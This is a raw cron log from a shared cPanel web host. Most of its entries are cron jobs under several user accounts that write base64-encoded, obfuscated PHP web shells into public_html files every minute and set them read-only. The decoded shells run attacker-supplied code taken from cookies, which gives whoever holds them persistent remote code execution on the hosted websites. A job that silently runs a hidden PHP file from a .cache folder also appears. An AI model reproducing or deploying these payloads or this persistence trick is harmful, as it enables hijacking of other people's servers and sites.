Mar  1 12:01:01 medusa CROND[22836]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:01:01 medusa CROND[22840]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:01:01 medusa CROND[22841]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:01:01 medusa CROND[22842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:01:01 medusa CROND[22843]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:01:01 medusa CROND[22837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:01:01 medusa run-parts(/etc/cron.hourly)[22835]: starting 0anacron
Mar  1 12:01:01 medusa run-parts(/etc/cron.hourly)[22977]: finished 0anacron
Mar  1 12:02:01 medusa CROND[12512]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:02:02 medusa CROND[12604]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:02:02 medusa CROND[12605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:02:02 medusa CROND[12606]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:02:02 medusa CROND[12607]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:02:02 medusa CROND[12623]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:02:02 medusa CROND[12618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:02:02 medusa CROND[12626]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:02:02 medusa CROND[12625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:02:02 medusa CROND[12624]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:02:02 medusa CROND[12631]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:02:02 medusa CROND[12632]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:02:02 medusa CROND[12636]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:03:02 medusa CROND[1929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:03:02 medusa CROND[1930]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:03:02 medusa CROND[1934]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:03:02 medusa CROND[1932]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:03:02 medusa CROND[1935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:03:02 medusa CROND[1936]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:03:02 medusa CROND[1937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
